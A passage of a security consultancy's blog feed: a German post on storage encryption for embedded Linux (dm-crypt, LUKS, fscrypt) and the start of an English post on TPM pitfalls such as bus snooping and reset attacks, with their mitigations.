<p>Kunden, die eine <em>maßgeschneiderte</em> Distribution bauen, empfehlen wir immer Yocto.
Allen anderen stellen wir immer wieder dieselbe Frage: Brauchen Sie es wirklich?</p>
<div class="footnotes" role="doc-endnotes">
<hr>
<ol>
<li id="fn:1">
<p><a href="https://www.yoctoproject.org/software-overview/">yoctoproject.org/software-overview</a>&#160;<a href="#fnref:1" class="footnote-backref" role="doc-backlink">&#x21a9;&#xfe0e;</a></p>
</li>
<li id="fn:2">
<p><a href="https://eur-lex.europa.eu/legal-content/EN/TXT/HTML/?uri=OJ:L_202402847">Verordnung (EU) 2024/2847</a>&#160;<a href="#fnref:2" class="footnote-backref" role="doc-backlink">&#x21a9;&#xfe0e;</a></p>
</li>
<li id="fn:3">
<p><a href="https://docs.yoctoproject.org/ref-manual/release-process.html">Yocto release process</a>&#160;<a href="#fnref:3" class="footnote-backref" role="doc-backlink">&#x21a9;&#xfe0e;</a></p>
</li>
<li id="fn:4">
<p><a href="https://www.kernel.org/category/releases.html">kernel.org releases</a>&#160;<a href="#fnref:4" class="footnote-backref" role="doc-backlink">&#x21a9;&#xfe0e;</a></p>
</li>
<li id="fn:5">
<p><a href="https://www.debian.org/">debian.org</a>&#160;<a href="#fnref:5" class="footnote-backref" role="doc-backlink">&#x21a9;&#xfe0e;</a></p>
</li>
<li id="fn:6">
<p><a href="https://www.debian.org/ports/">Debian ports</a>&#160;<a href="#fnref:6" class="footnote-backref" role="doc-backlink">&#x21a9;&#xfe0e;</a></p>
</li>
<li id="fn:7">
<p><a href="https://wiki.debian.org/LTS">Debian LTS</a>&#160;<a href="#fnref:7" class="footnote-backref" role="doc-backlink">&#x21a9;&#xfe0e;</a></p>
</li>
<li id="fn:8">
<p><a href="https://github.com/systemd/mkosi">github.com/systemd/mkosi</a>&#160;<a href="#fnref:8" class="footnote-backref" role="doc-backlink">&#x21a9;&#xfe0e;</a></p>
</li>
<li id="fn:9">
<p><a href="https://elbe-rfs.org/">elbe-rfs.org</a>&#160;<a href="#fnref:9" class="footnote-backref" role="doc-backlink">&#x21a9;&#xfe0e;</a></p>
</li>
<li id="fn:10">
<p><a href="https://github.com/go-debos/debos">github.com/go-debos/debos</a>&#160;<a href="#fnref:10" class="footnote-backref" role="doc-backlink">&#x21a9;&#xfe0e;</a></p>
</li>
<li id="fn:11">
<p><a href="https://www.aptly.info/">aptly.info</a>&#160;<a href="#fnref:11" class="footnote-backref" role="doc-backlink">&#x21a9;&#xfe0e;</a></p>
</li>
<li id="fn:12">
<p><a href="https://siemens.github.io/debsbom">debsbom</a>&#160;<a href="#fnref:12" class="footnote-backref" role="doc-backlink">&#x21a9;&#xfe0e;</a></p>
</li>
</ol>
</div>
]]></content:encoded></item><item><title>Vertraulichkeit von Daten durch Speicherverschlüsselung auf Embedded-Linux-Geräten</title><link>https://sigma-star.at/de/blog/2026/02/vertraulichkeit-von-daten-durch-speicherverschl%C3%BCsselung-auf-embedded-linux-ger%C3%A4ten/</link><pubDate>Tue, 24 Feb 2026 00:00:00 +0100</pubDate><author>Lorenz Kofler</author><author>Richard Weinberger</author><guid>https://sigma-star.at/de/blog/2026/02/vertraulichkeit-von-daten-durch-speicherverschl%C3%BCsselung-auf-embedded-linux-ger%C3%A4ten/</guid><description><![CDATA[<h1 id="vertraulichkeit-von-daten-durch-speicherverschlüsselung-auf-embedded-linux-geräten">Vertraulichkeit von Daten durch Speicherverschlüsselung auf Embedded-Linux-Geräten</h1>
<p>Der Cyber Resilience Act (CRA) führt die Vertraulichkeit von Daten als eine
&ldquo;grundlegende Cybersicherheitsanforderung&rdquo; auf, die Produkte erfüllen müssen, um
auf dem EU-Markt in Verkehr gebracht zu werden<sup id="fnref:1"><a href="#fn:1" class="footnote-ref" role="doc-noteref">1</a></sup>. Diese Anforderung betrifft
viele Embedded-Linux-Geräte, insbesondere solche, die personenbezogene Daten
speichern.
Dieser Blog-Post ist der erste einer Reihe zu Sicherheitsthemen rund um den CRA.</p>
<p>Vertraulichkeit von Daten bedeutet den Schutz von Daten vor unbefugtem Zugriff
und unbefugter Offenlegung.
Um Vertraulichkeit umfassend sicherzustellen, muss sie über alle Zustände hinweg
gewahrt bleiben, in denen Daten vorliegen können.
Je nach Bedrohungsmodell können für jeden Zustand unterschiedliche Technologien
erforderlich sein. Zum Beispiel:</p>]]></description><content:encoded><![CDATA[<h1 id="vertraulichkeit-von-daten-durch-speicherverschlüsselung-auf-embedded-linux-geräten">Vertraulichkeit von Daten durch Speicherverschlüsselung auf Embedded-Linux-Geräten</h1>
<p>Der Cyber Resilience Act (CRA) führt die Vertraulichkeit von Daten als eine
&ldquo;grundlegende Cybersicherheitsanforderung&rdquo; auf, die Produkte erfüllen müssen, um
auf dem EU-Markt in Verkehr gebracht zu werden<sup id="fnref:1"><a href="#fn:1" class="footnote-ref" role="doc-noteref">1</a></sup>. Diese Anforderung betrifft
viele Embedded-Linux-Geräte, insbesondere solche, die personenbezogene Daten
speichern.
Dieser Blog-Post ist der erste einer Reihe zu Sicherheitsthemen rund um den CRA.</p>
<p>Vertraulichkeit von Daten bedeutet den Schutz von Daten vor unbefugtem Zugriff
und unbefugter Offenlegung.
Um Vertraulichkeit umfassend sicherzustellen, muss sie über alle Zustände hinweg
gewahrt bleiben, in denen Daten vorliegen können.
Je nach Bedrohungsmodell können für jeden Zustand unterschiedliche Technologien
erforderlich sein. Zum Beispiel:</p>
<ul>
<li>Transport Layer Security (TLS) für <strong>Daten während der Übertragung</strong></li>
<li>Trusted Execution Environments (TEEs) für <strong>Daten während der Verarbeitung</strong></li>
<li>Verschlüsselung ruhender Daten (z. B. Full Disk Encryption) für <strong>ruhende Daten</strong></li>
</ul>
<p>Verschiedene Verfahren können die Vertraulichkeit ruhender Daten gewährleisten,
abhängig von den konkreten Anforderungen an die Daten. Um beispielsweise
Benutzerpasswörter zu schützen, setzt Linux auf die Shadow-Datei
(<code>/etc/shadow</code>), die gesalzene Passwort-Hashes speichert. Dieser Ansatz
funktioniert, weil die Authentifizierung lediglich den Vergleich von Hashes
erfordert und nicht die Wiederherstellung des ursprünglichen Klartexts. Wenn die
Daten jedoch später im Klartext abgerufen werden müssen, ist Verschlüsselung ein
gängiger Ansatz.</p>
<p>Speicherverschlüsselung lässt sich auf mehreren Ebenen des Software-Stacks
umsetzen. Der feingranularste Ansatz ist die Verschlüsselung auf
Anwendungsebene, bei der bestimmte Programme wie Passwortmanager die Ver- und
Entschlüsselung intern verwalten. Eine weitere Möglichkeit ist die
Verschlüsselung auf Speicherebene, die Daten transparent schützt, unabhängig
davon, welche Anwendung darauf zugreift. In diesem Beitrag konzentrieren wir uns
auf die Technologien zur Speicherverschlüsselung, die unter Linux verfügbar
sind.</p>
<p>Linux bietet innerhalb des Storage-Stacks mehrere Mechanismen zur
Verschlüsselung ruhender Daten, wobei <code>dm-crypt</code><sup id="fnref:2"><a href="#fn:2" class="footnote-ref" role="doc-noteref">2</a></sup>,
<code>fscrypt</code><sup id="fnref:3"><a href="#fn:3" class="footnote-ref" role="doc-noteref">3</a></sup> und <code>eCryptfs</code><sup id="fnref:4"><a href="#fn:4" class="footnote-ref" role="doc-noteref">4</a></sup> zu den gängigsten Optionen zählen.
Auf Blockebene ermöglicht <code>dm-crypt</code> die Verschlüsselung ganzer Festplatten oder
Partitionen. Auf Dateisystemebene erlaubt <code>fscrypt</code> eine granulare
Verschlüsselung pro Verzeichnis auf unterstützten Dateisystemen. <code>eCryptfs</code>
bietet zwar einen ähnlichen Ansatz mit einem gestapelten Dateisystem, ist aber
eine ältere Technologie, die weitgehend durch <code>fscrypt</code> abgelöst wurde.</p>
<h5 id="randnotiz-was-ruhende-daten-sind"><em>Randnotiz:</em> Was ruhende Daten sind</h5>
<p>Ruhende Daten bezeichnen digitale Informationen, die physisch auf einem stabilen
Speichermedium abgelegt sind, etwa auf einer Festplatte oder einem Flash-Speicher,
und die sich weder gerade durch ein Netzwerk bewegen noch im Arbeitsspeicher
verarbeitet werden.
Im Kontext der Speicherverschlüsselung werden diese Daten geschützt, indem sie mit
kryptographischen Algorithmen in Chiffretext umgewandelt werden. So bleibt ihre
Vertraulichkeit selbst dann gewahrt, wenn die physische Hardware gestohlen wird.
Der Zugriff auf die Informationen erfordert einen bestimmten Schlüssel zur
Entschlüsselung oder ein Passwort, das als letzte Barriere zwischen einem
unbefugten Benutzer und den eigentlichen Dateien dient.</p>
<h2 id="verschlüsselung-auf-blockebene-mit-dm-crypt">Verschlüsselung auf Blockebene mit dm-crypt</h2>
<figure>
<img src="https://sigma-star.at/de/blog/2026/02/vertraulichkeit-von-daten-durch-speicherverschl%C3%BCsselung-auf-embedded-linux-ger%C3%A4ten/block-level-encryption.svg" loading="lazy" decoding="async" alt="Verschlüsselung auf Blockebene"></figure>
<p>Das Device-Mapper-Target <code>dm-crypt</code> setzt unter Linux die Verschlüsselung auf
Blockebene um. Es ermöglicht die Verschlüsselung ganzer Festplatten oder
Partitionen auf jedem Gerät, das Linux als Block Device bereitstellt, also auf
jedem Speichermedium, das Daten in Blöcken fester Größe verarbeitet, etwa HDDs,
SSDs, SD-Karten und eMMC-Module. Da es auf Blockebene arbeitet, unterstützt es
jedes blockbasierte Dateisystem.</p>
<p>Der Linux Device-Mapper erlaubt das Anlegen virtueller Block Devices, die auf ein
oder mehrere zugrunde liegende Block Devices abgebildet werden, die physisch oder
virtuell sein können.
Ein Device-Mapper-Target verarbeitet Lese- und Schreibanfragen, die an das
virtuelle Block Device gestellt werden, und leitet sie an das darunterliegende
Gerät weiter. Das Target legt fest, wie Anfragen abgebildet werden und ob die
Daten dabei transformiert werden. Ein solches Target ist <code>dm-crypt</code>, das Daten
beim Schreiben verschlüsselt und beim Lesen entschlüsselt.</p>
<p><code>dm-crypt</code> kann zwar ganze Festplatten oder Partitionen verschlüsseln, arbeitet
aber ausschließlich mit Block Devices. Daher kann es nicht mit rohem Flash
arbeiten, der über das Linux-MTD-Subsystem bereitgestellt wird (z. B. rohes
NAND), was in Embedded-Systemen häufig vorkommt. Beachten Sie, dass SSDs und
USB-Sticks ebenfalls Flash-basiert sind, ihre internen Controller den rohen
Flash jedoch abstrahieren und dem Betriebssystem eine normale Block-Device-Schnittstelle
präsentieren.</p>
<p>Das Userspace-Werkzeug <code>cryptsetup</code><sup id="fnref:5"><a href="#fn:5" class="footnote-ref" role="doc-noteref">5</a></sup> wird üblicherweise zum
Konfigurieren von <code>dm-crypt</code>-Volumes verwendet.
Alternativ bietet das Werkzeug <code>dmsetup</code><sup id="fnref:6"><a href="#fn:6" class="footnote-ref" role="doc-noteref">6</a></sup> Low-Level-Kontrolle über den
Device-Mapper und kann Mappings für jedes Target verwalten, einschließlich
<code>dm-crypt</code>.
<code>cryptsetup</code> unterstützt das Format Linux Unified Key Setup (LUKS) (LUKS1<sup id="fnref:7"><a href="#fn:7" class="footnote-ref" role="doc-noteref">7</a></sup>
und LUKS2<sup id="fnref:8"><a href="#fn:8" class="footnote-ref" role="doc-noteref">8</a></sup>), das einen standardisierten On-Disk-Header zum Speichern der
Verschlüsselungs-Metadaten am Anfang des verschlüsselten Block Devices festlegt.
Der LUKS-Header enthält mehrere Key-Slots, sodass mehrere Passphrasen dasselbe
verschlüsselte Volume entsperren können. Wenn der Benutzer eine Passphrase
eingibt, leitet <code>cryptsetup</code> daraus einen Key-Encryption-Key ab und
entschlüsselt damit das in einem LUKS-Key-Slot gespeicherte Volume-Key-Material.
Gelingt dieser Schritt, lädt <code>cryptsetup</code> den Volume-Key in <code>dm-crypt</code>.</p>
<h2 id="verschlüsselung-auf-dateisystemebene-mit-fscrypt-oder-ecryptfs">Verschlüsselung auf Dateisystemebene mit fscrypt (oder eCryptfs)</h2>
<figure>
<img src="https://sigma-star.at/de/blog/2026/02/vertraulichkeit-von-daten-durch-speicherverschl%C3%BCsselung-auf-embedded-linux-ger%C3%A4ten/filesystem-level-encryption.svg" loading="lazy" decoding="async" alt="Verschlüsselung auf Dateisystemebene"></figure>
<p>Der Linux-Kernel stellt zwei Mechanismen für die Verschlüsselung auf
Dateisystemebene bereit: <code>fscrypt</code> und <code>eCryptfs</code>. Von diesen ist <code>fscrypt</code> die
moderne und empfohlene Lösung. Bevor <code>fscrypt</code> eingeführt wurde, kamen häufig
Overlay- oder gestapelte Dateisystemansätze wie <code>eCryptfs</code> zum Einsatz.
<code>eCryptfs</code> ist selbst ein gestapeltes Dateisystem und gilt in der Community
inzwischen weithin als veraltet, mit einer möglichen Entfernung aus dem
Linux-Kernel in der Zukunft<sup id="fnref:9"><a href="#fn:9" class="footnote-ref" role="doc-noteref">9</a></sup>. Sein Einsatz lässt sich heute
daher in der Regel nur in Nischenszenarien rechtfertigen, vor allem dann, wenn
Verschlüsselung auf Dateisystemebene erforderlich ist, das zugrunde liegende
Dateisystem aber <code>fscrypt</code> nicht unterstützt.</p>
<p><code>fscrypt</code> bietet transparente Verschlüsselung auf Dateisystemebene. Im Gegensatz
zu <code>dm-crypt</code>, das ein ganzes Block Device verschlüsselt, wendet die
Verschlüsselung auf Dateisystemebene Richtlinien pro Verzeichnis an und
verschlüsselt die Dateien innerhalb des geschützten Verzeichnisbaums. Dieser
Aufbau erlaubt es, dass verschiedene Teile desselben Dateisystems
unterschiedliche Schlüssel verwenden. So können beispielsweise mehrere Benutzer
ihre Home-Verzeichnisse mit jeweils eigenen Schlüsseln verschlüsseln, obwohl alle
Home-Verzeichnisse auf demselben zugrunde liegenden Block Device liegen.</p>
<p>Da <code>fscrypt</code> eine Bibliothek ist, in die sich Dateisysteme einklinken können, um
transparente Verschlüsselung von Dateien und Verzeichnissen zu unterstützen, muss
ein Dateisystem sie ausdrücklich unterstützen. Zu den Dateisystemen, die
<code>fscrypt</code> derzeit unterstützen, zählen <code>ext4</code>, <code>f2fs</code> und <code>ubifs</code>. <code>fscrypt</code> ist
besonders relevant für tief eingebettete Linux-Systeme, die rohen NAND-Speicher
verwenden, bei denen <code>dm-crypt</code> nicht eingesetzt werden kann, weil es nur mit
Block Devices arbeitet.</p>
<p>Wichtig zu beachten ist, dass <code>fscrypt</code> Dateiinhalte und Dateinamen
verschlüsselt, die meisten Metadaten des Dateisystems jedoch unverschlüsselt
lässt. Dazu gehören Eigentümer- und Berechtigungsbits, Zeitstempel und die
Verzeichnisstruktur.</p>
<h2 id="die-wichtigsten-erkenntnisse">Die wichtigsten Erkenntnisse</h2>
<p>Linux kann ruhende Daten durch Speicherverschlüsselung schützen, auf Blockebene
mit <code>dm-crypt</code> oder auf Dateisystemebene mit <code>fscrypt</code> oder dem älteren
<code>eCryptfs</code>. Aus Sicht der Anwendungen ist dieser Schutz transparent, weil der
Kernel Daten bei Schreibvorgängen verschlüsselt und bei Lesevorgängen
entschlüsselt. Dadurch werden die Daten in verschlüsselter Form auf dem
Datenträger gespeichert. Ein Angreifer, der physischen Zugriff auf das
Speichermedium erlangt oder ein Offline-Abbild des Datenträgers erhält, kann nur
Chiffretext wiederherstellen.</p>
<p>Eine feingranularere Alternative ist die Verschlüsselung auf Anwendungsebene, bei
der die Anwendung Ver- und Entschlüsselung intern umsetzt. Dieser Ansatz erhöht
die Komplexität, kann aber zusätzlichen Schutz gegen bestimmte Laufzeitangriffe
bieten. Stellen Sie sich beispielsweise einen Angreifer vor, der aus der Ferne
beliebigen Lesezugriff auf das Dateisystem erlangt. Bei Verschlüsselung auf
Anwendungsebene liefern Lesezugriffe auf die Datendateien der Anwendung weiterhin
nur Chiffretext, und der Angreifer muss zusätzlich die Anwendung oder ihren
Umgang mit den Schlüsseln kompromittieren, um an den Klartext zu gelangen. Bei
den zuvor besprochenen Methoden der Speicherverschlüsselung hingegen gibt das
Betriebssystem den Klartext im Rahmen des normalen Betriebs über das Dateisystem
preis, sobald die Daten entsperrt sind. Ein Angreifer mit ausreichendem
Laufzeit-Dateizugriff kann die Daten also direkt lesen.</p>
<figure>
<img src="https://sigma-star.at/de/blog/2026/02/vertraulichkeit-von-daten-durch-speicherverschl%C3%BCsselung-auf-embedded-linux-ger%C3%A4ten/application-level-encryption.svg" loading="lazy" decoding="async" alt="Verschlüsselung auf Anwendungsebene"></figure>
<p>Verschlüsselung allein gewährleistet jedoch keine Integrität. <code>fscrypt</code>
beispielsweise bietet Vertraulichkeit, aber keine Integrität. Ein Angreifer, der
Chiffretext verändert, kann so Datenkorruption verursachen oder, schlimmer noch,
verschlüsselte Daten so verändern, dass sich Software anders verhält.
Um Manipulationen zu erkennen, verwenden Sie authentifizierte Verschlüsselung
(AEAD) mit <code>dm-crypt</code> in Kombination mit Integritätsmechanismen wie
<code>dm-integrity</code><sup id="fnref:10"><a href="#fn:10" class="footnote-ref" role="doc-noteref">10</a></sup> für beschreibbaren Speicher oder
<code>dm-verity</code><sup id="fnref:11"><a href="#fn:11" class="footnote-ref" role="doc-noteref">11</a></sup> für schreibgeschützten Speicher.</p>
<p>Ein weiterer Punkt, den es zu bedenken gilt: Auf Embedded-Geräten ist die
interaktive Eingabe einer Passphrase beim Booten in der Regel nicht möglich,
obwohl sie zum Abrufen des Schlüssels für die Speicherverschlüsselung nötig ist.
Der Schlüssel muss daher an einem sicheren Ort abgelegt werden. Embedded-Systeme
setzen zu diesem Zweck üblicherweise auf hardwaregestützte Schlüsselspeicherung,
etwa auf TPMs oder Secure Elements. Weiterführende Informationen finden Sie in
unserem Blog-Post <a href="https://sigma-star.at/blog/2026/01/tpm-on-embedded-systems-pitfalls-and-caveats/"><strong>TPM auf Embedded-Systemen</strong></a>.</p>
<p>Welches Verfahren sich am besten eignet, um die Vertraulichkeit von Daten
sicherzustellen, hängt von den zu schützenden Daten und vom Bedrohungsmodell ab.
Bei der sigma star gmbh empfehlen wir generell, Full Disk Encryption mit
<code>dm-crypt</code> mit Verschlüsselung auf Anwendungsebene für sensible Daten zu
kombinieren. Für Embedded-Systeme empfehlen wir außerdem, Verschlüsselungsalgorithmen
und Cipher-Konfigurationen mit Benchmarks zu vergleichen. Muss die CPU jeden Block in Software
ver- und entschlüsseln, können Lese- und Schreibdurchsatz sowie die Bootzeit
leiden. Indem wir mögliche Konfigurationen auf der Zielhardware mit Benchmarks vermessen,
können wir die leistungsstärkste Option ermitteln, ohne die Sicherheit zu
beeinträchtigen.</p>
<div class="footnotes" role="doc-endnotes">
<hr>
<ol>
<li id="fn:1">
<p><a href="https://eur-lex.europa.eu/legal-content/EN/TXT/HTML/?uri=OJ:L_202402847#anx_I">https://eur-lex.europa.eu/legal-content/EN/TXT/HTML/?uri=OJ:L_202402847#anx_I</a>&#160;<a href="#fnref:1" class="footnote-backref" role="doc-backlink">&#x21a9;&#xfe0e;</a></p>
</li>
<li id="fn:2">
<p><a href="https://docs.kernel.org/admin-guide/device-mapper/dm-crypt.html">https://docs.kernel.org/admin-guide/device-mapper/dm-crypt.html</a>&#160;<a href="#fnref:2" class="footnote-backref" role="doc-backlink">&#x21a9;&#xfe0e;</a></p>
</li>
<li id="fn:3">
<p><a href="https://docs.kernel.org/filesystems/fscrypt.html">https://docs.kernel.org/filesystems/fscrypt.html</a>&#160;<a href="#fnref:3" class="footnote-backref" role="doc-backlink">&#x21a9;&#xfe0e;</a></p>
</li>
<li id="fn:4">
<p><a href="https://www.ecryptfs.org/">https://www.ecryptfs.org/</a>&#160;<a href="#fnref:4" class="footnote-backref" role="doc-backlink">&#x21a9;&#xfe0e;</a></p>
</li>
<li id="fn:5">
<p><a href="https://man7.org/linux/man-pages/man8/cryptsetup.8.html">https://man7.org/linux/man-pages/man8/cryptsetup.8.html</a>&#160;<a href="#fnref:5" class="footnote-backref" role="doc-backlink">&#x21a9;&#xfe0e;</a></p>
</li>
<li id="fn:6">
<p><a href="https://man7.org/linux/man-pages/man8/dmsetup.8.html">https://man7.org/linux/man-pages/man8/dmsetup.8.html</a>&#160;<a href="#fnref:6" class="footnote-backref" role="doc-backlink">&#x21a9;&#xfe0e;</a></p>
</li>
<li id="fn:7">
<p><a href="https://cdn.kernel.org/pub/linux/utils/cryptsetup/LUKS_docs/on-disk-format.pdf">https://cdn.kernel.org/pub/linux/utils/cryptsetup/LUKS_docs/on-disk-format.pdf</a>&#160;<a href="#fnref:7" class="footnote-backref" role="doc-backlink">&#x21a9;&#xfe0e;</a></p>
</li>
<li id="fn:8">
<p><a href="https://gitlab.com/cryptsetup/LUKS2-docs/-/raw/main/luks2_doc_wip.pdf">https://gitlab.com/cryptsetup/LUKS2-docs/-/raw/main/luks2_doc_wip.pdf</a>&#160;<a href="#fnref:8" class="footnote-backref" role="doc-backlink">&#x21a9;&#xfe0e;</a></p>
</li>
<li id="fn:9">
<p><a href="https://lore.kernel.org/lkml/ZyKf6ZSZrETI&#43;4%2FS@redbud/T/#u">https://lore.kernel.org/lkml/ZyKf6ZSZrETI+4%2FS@redbud/T/#u</a>&#160;<a href="#fnref:9" class="footnote-backref" role="doc-backlink">&#x21a9;&#xfe0e;</a></p>
</li>
<li id="fn:10">
<p><a href="https://docs.kernel.org/admin-guide/device-mapper/dm-integrity.html">https://docs.kernel.org/admin-guide/device-mapper/dm-integrity.html</a>&#160;<a href="#fnref:10" class="footnote-backref" role="doc-backlink">&#x21a9;&#xfe0e;</a></p>
</li>
<li id="fn:11">
<p><a href="https://docs.kernel.org/admin-guide/device-mapper/verity.html">https://docs.kernel.org/admin-guide/device-mapper/verity.html</a>&#160;<a href="#fnref:11" class="footnote-backref" role="doc-backlink">&#x21a9;&#xfe0e;</a></p>
</li>
</ol>
</div>
]]></content:encoded></item><item><title>TPM on Embedded Systems: Pitfalls and Caveats</title><link>https://sigma-star.at/blog/2026/01/tpm-on-embedded-systems-pitfalls-and-caveats/</link><pubDate>Mon, 19 Jan 2026 00:00:00 +0100</pubDate><author>David Gstir</author><guid>https://sigma-star.at/blog/2026/01/tpm-on-embedded-systems-pitfalls-and-caveats/</guid><description><![CDATA[<h1 id="tpm-on-embedded-systems-pitfalls-and-caveats-to-watch-out-for">TPM on Embedded Systems: Pitfalls and Caveats to Watch Out For</h1>
<p>Trusted Platform Module (TPM) chips have been around since the release of the TPM 1.2
specification more than 20 years ago, and the TPM 2.0 specification<sup id="fnref:1"><a href="#fn:1" class="footnote-ref" role="doc-noteref">1</a></sup> was released in 2014. The technology is
now seeing widespread adoption in various computing sectors. TPMs have been a standard feature
in PCs, particularly notebooks, for some time. With integration into tools like systemd&rsquo;s
tooling for LUKS/dm-crypt and legal requirements like EU&rsquo;s CRA, TPM functionality is also
now making its way into the embedded Linux sector. In this post, we&rsquo;ll highlight common
pitfalls and considerations for using TPM chips on embedded devices.</p>]]></description><content:encoded><![CDATA[<h1 id="tpm-on-embedded-systems-pitfalls-and-caveats-to-watch-out-for">TPM on Embedded Systems: Pitfalls and Caveats to Watch Out For</h1>
<p>Trusted Platform Module (TPM) chips have been around since the release of the TPM 1.2
specification more than 20 years ago, and the TPM 2.0 specification<sup id="fnref:1"><a href="#fn:1" class="footnote-ref" role="doc-noteref">1</a></sup> was released in 2014. The technology is
now seeing widespread adoption in various computing sectors. TPMs have been a standard feature
in PCs, particularly notebooks, for some time. With integration into tools like systemd&rsquo;s
tooling for LUKS/dm-crypt and legal requirements like EU&rsquo;s CRA, TPM functionality is also
now making its way into the embedded Linux sector. In this post, we&rsquo;ll highlight common
pitfalls and considerations for using TPM chips on embedded devices.</p>
<h2 id="brief-overview-trusted-platform-module-tpm">Brief Overview: Trusted Platform Module (TPM)</h2>
<p>Usually, a TPM is a dedicated chip that is connected to the CPU via a bus like LPC, SPI, or I2C.
In modern PCs, a firmware-based TPM (fTPM) is common, where the firmware (e.g., UEFI) emulates
a TPM in a secure environment. The same is also possible on embedded devices, for example, by
using Arm TrustZone to emulate a TPM.</p>
<p>There are three common use cases for TPM:</p>
<ol>
<li>
<p><strong>Secret storage:</strong> A core feature of a TPM is its ability to protect data using secure, internal
keys. These keys are protected in a way that makes them usable only by and within the TPM itself.
A TPM 2.0 chip supports multiple key hierarchies that reflect different trust scenarios, with
the Platform Hierarchy and Storage Hierarchy being the most commonly used ones. A TPM client
can create a new key in a hierarchy where the parent key&rsquo;s handle is used to protect
(encrypt and authenticate) the child key&rsquo;s data (then known as blob) when it is placed in
external storage<sup id="fnref:2"><a href="#fn:2" class="footnote-ref" role="doc-noteref">2</a></sup>. This process is known as binding. When the secret
is needed again, the protected blob is passed back to the TPM, which verifies and decrypts it
before returning it to the client.</p>
<p>The TPM 2.0 specification defines a multitude of cryptographic algorithms such as hash functions,
symmetric/asymmetric ciphers and message authentication codes (MACs). This enables its use for
network protocols like TLS and storage security like LUKS/dm-crypt on Linux or BitLocker on Windows.</p>
</li>
<li>
<p><strong>Measured boot:</strong> Each TPM chip contains a set of 24 Platform Configuration Registers (PCRs)<sup id="fnref:3"><a href="#fn:3" class="footnote-ref" role="doc-noteref">3</a></sup>.
Their values are hashes produced from log events that reflect the boot and configuration state of
the platform. This is primarily used to secure the boot chain of a system, where each stage of
the boot process measures relevant components (bootloader, drivers, firmware, configuration data, etc.)
and uses these measurements to extend the cryptographic hash of the respective PCRs. Concurrently,
the details of these measurements are recorded in the TPM&rsquo;s event log. The full set of PCR
values provides a record of the boot state. Should a component be manipulated, the final PCR value
will change, which indicates a potential security issue.</p>
<p>This can be combined with TPM keys, where each key can be tied to a set of PCR values (known as sealing).
If the PCRs contain the expected values, the TPM allows the key to be used. Otherwise, its use is
prevented. This enables tight control over when a key is usable and provides an integrity measure.</p>
</li>
<li>
<p><strong>(Remote) Attestation:</strong> TPMs provide the ability to produce cryptographic proof of the boot
and configuration state of a system. This is done through a dedicated attestation protocol. For
the protocol to work, a trust chain must be established by verifying the TPM&rsquo;s identity and its
Attestation Key (AK). The attestation procedure utilizes a TPM key that is bound to a set of
PCR values. This enforces that the attestation can only be run when the system is in a known,
secure state. The result of this process is a signed <em>Quote</em> from the TPM, which contains
the current PCR values and a signature that proves their origin.</p>
</li>
</ol>
<h2 id="using-tpm-on-embedded-device">Using TPM on Embedded Device</h2>
<p>Embedded devices are primarily based on Arm SoCs, in contrast to the x86/amd64-based CPUs
common in PCs. This distinction is particularly relevant for the secure boot process, as much of
this is handled by a PC&rsquo;s UEFI, which is not standard on most embedded systems. Instead, these
systems rely on a vendor-specific boot-ROM followed by bootloaders like Barebox or U-Boot. While
U-Boot can support running in UEFI mode, this is still a rarity in the embedded space. It is,
however, possible to achieve a similar security posture without UEFI, as demonstrated by Manuel
Traut&rsquo;s <em>All Systems Go!</em> talk from 2024<sup id="fnref:4"><a href="#fn:4" class="footnote-ref" role="doc-noteref">4</a></sup>. A physical TPM chip is not strictly
necessary either, as a fTPM can be implemented using technologies like Arm
TrustZone with OP-TEE.</p>
<p>From a threat model perspective, a critical difference between a PC and an embedded device is
that an embedded system often operates in a physically hostile environment without constant
human supervision. While a laptop can usually be protected by its owner quite easily (i.e. lock it away),
an embedded device, such as an IoT sensor or a point-of-sale terminal, is a prime target for
physical attacks including tampering, side-channel attacks, fault injection, and bus snooping.
This is particularly relevant when a TPM is used for disk encryption, as research has shown
these attacks can be effective against solutions like BitLocker<sup id="fnref:5"><a href="#fn:5" class="footnote-ref" role="doc-noteref">5</a></sup> and others<sup id="fnref:6"><a href="#fn:6" class="footnote-ref" role="doc-noteref">6</a></sup>.</p>
<p>The key difference in threat models is that the device manufacturer often needs to protect
their intellectual property (firmware, algorithms, and data) from the end-user or third parties,
whereas on a PC, the end-user is the one protecting their assets.</p>
<p>An advantage of embedded systems, however, is that their software stack is tailored to a
specific use case, unlike a general-purpose PC. This allows the manufacturer to tightly
control the software environment and implement robust security measures.</p>
<p>Other noteworthy differences include the significantly longer lifetimes of embedded systems,
which can exceed 10 years, compared to the 3-5 year lifespan of a typical PC. This extended
lifecycle necessitates longer support cycles for hardware components, including TPM chips,
whose firmware may contain vulnerabilities that require updates. Furthermore, embedded
systems are increasingly subject to legal requirements like CRA (Cyber Resilience Act)
and NIS2 (Network and Information Systems Directive 2), which aim to raise their security
baseline and hold manufacturers accountable.</p>
<h2 id="tpm-pitfalls-on-embedded-devices">TPM Pitfalls on Embedded Devices</h2>
<p>With that differences in mind, let&rsquo;s have a look at some of the common pitfalls
when using a TPM in general and specifically an embedded system:</p>
<h3 id="bus-snooping-attacks">Bus Snooping Attacks</h3>
<p>By attaching a probe to the physical communication lines between a TPM and the CPU/SoC,
a passive attacker can read the messages exchanged between them. This is a common
and straightforward physical attack, particularly in unattended embedded devices.</p>
<p>To mitigate this, TPM 2.0 supports session-based command and response parameter
encryption. This requires a secure session to be established between the client
and the TPM. The TPM specification defines multiple session types, including
HMAC sessions for command authentication and integrity, and policy sessions for
more complex authorization based on conditions like PCR values.</p>
<p>Crucially, the TPM&rsquo;s session-based encryption and authentication must be explicitly
enabled by the client software, as not all current implementations do this by default.
This is a significant security risk, as a lack of session encryption can expose
sensitive data like unsealed keys or authorization values in plaintext on the bus,
making it vulnerable to passive bus snooping.</p>
<h3 id="tpm-reset-attacks-by-active-interposer">TPM Reset Attacks by Active Interposer</h3>
<p>A more advanced threat is an active attacker on the bus between the TPM and the CPU.
They can launch a Man-in-the-Middle (MitM) attack, impersonating a legitimate TPM.
Even with session encryption, this attack can be effective if the client does not
first establish a trusted relationship with the TPM. A Time-of-Check to Time-of-Use
(TOCTU) attack is also possible, where the attacker only launches the MitM once the
system&rsquo;s integrity check has passed.</p>
<p>A major challenge is attacks that work across TPM resets. An attacker can physically
reset the TPM to force it back into an uncompromised state and then reconstruct
the PCR values to reflect an untampered boot. This allows them to access keys sealed
to those specific PCR values.</p>
<p>While there is no way to fully prevent a determined physical attacker, the Linux
Kernel has gained support to detect such interposer attacks thanks to James Bottomley&rsquo;s
work on Kernel 6.10. The mechanism chosen for this relies on the TPM&rsquo;s NULL seed,
which changes its value on every TPM reset. This allows the kernel to derive a
